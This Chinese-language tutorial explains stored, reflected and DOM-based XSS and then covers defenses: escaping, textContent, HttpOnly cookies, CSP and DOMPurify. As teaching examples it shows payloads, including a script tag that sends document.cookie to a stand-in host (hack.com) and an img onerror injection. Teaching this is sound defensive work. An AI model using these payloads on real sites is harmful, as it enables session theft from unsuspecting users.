一、XSS 是什么
XSS = Cross-Site Scripting(跨站脚本攻击) 核心:攻击者往你的网页里注入并执行了恶意 JavaScript。 后果:
- 偷 Cookie、Token
- 监听用户输入
- 跳转到钓鱼网站
- 篡改页面内容
- 窃取用户信息、发请求冒充用户
二、XSS 三大类型
1. 存储型 XSS(最危险)
攻击流程:
- 攻击者把恶意代码提交到你的数据库(评论、昵称、简介、留言板)
- 所有访问这个页面的用户,都会加载并执行这段代码
- 无感知、批量中招
典型场景: 评论区输入:
<script>fetch('https://hack.com/steal?c='+document.cookie)</script>
后端直接存库,前端直接渲染 → 所有人都被攻击。
2. 反射型 XSS
攻击流程:
- 恶意代码放在 URL 参数里
- 后端直接把参数“反射”到页面上
- 用户点开构造好的链接就中招
示例 URL:
https://your-site.com/search?keyword=<script>steal()</script>
后端直接输出:
你搜索的关键词是:<script>steal()</script>
特点:
- 非持久,不点链接就没事
- 常藏在短链接、广告、钓鱼邮件
3. DOM 型 XSS(纯前端最常犯)
纯前端 JS 操作 DOM 不当造成,和后端无关
最常见错误:
const userInput = location.search.split('content=')[1];
// 危险!
document.body.innerHTML = userInput;
攻击者构造 URL:
https://your-site.com?content=<img src=x onerror="steal()">
图片加载失败触发 onerror,JS 直接执行。
特点:
- 不经过服务器,数据包看不到恶意代码
- 前端框架使用不当也会触发
举 3 个直观例子帮你区分
1. “存数据库”场景(存储型)
- 攻击者在评论区发:
<script>偷Cookie()</script> - 后端把这段内容存到数据库
- 所有看这篇文章评论的用户,页面都会渲染并执行这段脚本 → 中招
2. 不用存数据库(反射型)
- 攻击者给你发链接:
https://某网站.com/search?keyword=<script>偷Cookie()</script> - 你点开后,后端直接把 URL 里的
keyword参数显示在页面上:“你搜索的是:xxx” - 页面渲染这个参数时执行脚本 → 中招(但这段代码没存数据库,只对你这个点开链接的人有效)
3. 纯前端触发(DOM 型)
- 某网站有段前端代码:
document.body.innerHTML = location.href.split('content=')[1] - 攻击者给你发链接:
https://某网站.com?content=<img src=x onerror="偷Cookie()"> - 你点开后,前端 JS 直接把 URL 里的
content参数插入页面 → 执行脚本(全程和后端/数据库无关)
三、XSS 能做什么
- 拿到
document.cookie - 发任意请求(冒充用户操作)
- 监听键盘输入
- 弹窗钓鱼
- 篡改页面显示
- 挖矿、刷流量
- 传播蠕虫(如当年微博 XSS 蠕虫)
四、前端哪些写法会导致 XSS?(高频危险 API)
这些在项目里一用就要警惕:
innerHTMLouterHTMLdocument.writeeval("..." + 用户输入)setTimeout(用户输入)setInterval(用户输入)new Function(用户输入)- 给
<a href="javascript:xxx">赋值
React/Vue 插值 {{}} 默认安全,但 v-html / dangerouslySetInnerHTML 依然危险。
五、XSS 防御方案
1. 最根本:HTML 转义(对纯文本内容)
把特殊字符变成实体:
<→<>→>"→"'→'&→&
简单转义函数:
function escape(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
转义是如何解决XSS攻击的
第一步:先搞懂 XSS 能执行的核心原因
浏览器渲染页面时,会区分「文本内容」和「HTML/JS 代码」:
- 如果你写
<div>hello</div>,浏览器会把<div>当成标签解析,hello当成文本显示; - 如果你写
<div><script>alert(1)</script></div>,浏览器会把<script>当成代码标签,执行里面的alert(1)。
攻击者就是利用这一点,把恶意代码伪装成“用户输入”,让浏览器误以为这是需要执行的代码——而转义就是打破这个伪装。
第二步:转义的本质——把“代码字符”变成“文本字符”
转义(Escape)的核心操作是:将 HTML/JS 里有特殊含义的字符(比如 <、>、"、&、'),替换成浏览器不认为是“代码”的「HTML 实体」。
举个核心对比表,一看就明白:
| 原字符(有代码含义) | 转义后的 HTML 实体(纯文本) | 浏览器处理方式 |
|---|---|---|
< | < | 不再认为是标签的开始,只显示成 < |
> | > | 不再认为是标签的结束,只显示成 > |
" | " | 不再作为属性引号,只显示成 " |
' | ' | 不再作为属性单引号,只显示成 ' |
& | & | 不再作为实体的开始,只显示成 & |
第三步:用真实攻击案例看转义的效果
场景:攻击者在评论区输入恶意代码
<script>fetch('https://hack.com/steal?c='+document.cookie)</script>
情况1:不转义 → 触发 XSS
浏览器解析时,会把 <script> 当成代码标签,直接执行里面的偷 Cookie 逻辑,结果就是用户 Cookie 被盗。
情况2:转义后 → 完全无害
转义工具会把这段代码里的特殊字符全部替换,最终渲染到页面的内容是:
&lt;script&gt;fetch(&quot;https://hack.com/steal?c=&quot;+document.cookie)&lt;/script&gt;
浏览器看到这些内容时,会认为这只是“一串普通的文字”,只会原样显示成:
<script>fetch('https://hack.com/steal?c='+document.cookie)</script>
—— 没有任何代码执行,攻击完全失效。
第四步:补充两个关键细节
-
转义要针对场景:
- 渲染纯文本 → 转义 HTML 特殊字符即可(比如用
textContent,框架插值{{}}自带这个逻辑); - 渲染富文本 → 不能只简单转义(会把合法标签也转没),需要用 DOMPurify 这类库“过滤”(保留合法标签,删除恶意事件/脚本)。
- 渲染纯文本 → 转义 HTML 特殊字符即可(比如用
-
转义的时机:
- 推荐「输出时转义」(前端渲染前/后端返回前),而不是「输入时转义」—— 因为输入时转义可能导致数据污染(比如用户真的想输入
<却被转义),输出时转义只影响显示,不影响原始数据。
- 推荐「输出时转义」(前端渲染前/后端返回前),而不是「输入时转义」—— 因为输入时转义可能导致数据污染(比如用户真的想输入
总结
转义防 XSS 的核心逻辑就两点:
- 把攻击者输入的「代码字符」(
<>等)替换成「文本实体」; - 让浏览器从“执行代码”的逻辑,变成“显示文字”的逻辑,从根源上阻止恶意 JS 运行。
简单记:转义 = 给恶意代码“脱马甲”,让它从“能执行的代码”变回“普通文字”,浏览器就不会中招了。
2. 绝对不要信任用户输入
- 永远不要直接用
innerHTML插入用户内容 - 尽量使用
textContent而不是innerHTML
// 安全
el.textContent = 用户内容;
// 不安全
el.innerHTML = 用户内容;
3. Cookie 设置 HttpOnly(最重要)
即使 XSS 成功,也拿不到 Cookie:
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict
JS 无法读取 HttpOnly Cookie,能防 90% 的偷 Cookie 行为。
4. 使用 CSP(内容安全策略)
在 HTTP 头或 meta 里设置:
Content-Security-Policy: default-src 'self'; script-src 'self'
作用:
- 禁止内联脚本
- 禁止未知域名脚本
- 从源头阻止恶意 JS 执行
5. 前端框架默认安全
React、Vue、Svelte 插值都会自动转义:
{用户输入} // 安全
<div dangerouslySetInnerHTML={{__html: 用户输入}}> // 不安全
6. 过滤/校验输入
- 限制长度
- 白名单允许的字符
- 对富文本使用专门的库(如
DOMPurify)
富文本一定要用:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(用户富文本);
六、总结
XSS 是往页面注入恶意 JS 并执行。 分三类:
| XSS 类型 | 是否需要存数据库 | 核心触发方式 | 攻击对象 |
|---|---|---|---|
| 存储型 XSS | ✅ 是 | 恶意代码→提交到数据库→所有用户加载页面时渲染执行 | 所有访问该页面的用户(批量中招,无差别攻击) |
| 反射型 XSS | ❌ 否 | 恶意代码藏在 URL 参数里→用户点开链接→后端直接把参数“反射”到页面上执行 | 仅点开恶意链接的特定用户 |
| DOM 型 XSS | ❌ 否 | 恶意代码藏在 URL/输入里→前端 JS 直接操作 DOM(如 innerHTML)→本地执行,不经过后端 | 仅点开恶意链接/输入恶意内容的特定用户 |
防御:
- HTML 转义用户输入
- 少用
innerHTML,多用textContent - Cookie HttpOnly
- 开启 CSP
- 富文本用 DOMPurify
- 不使用危险的 JS 执行函数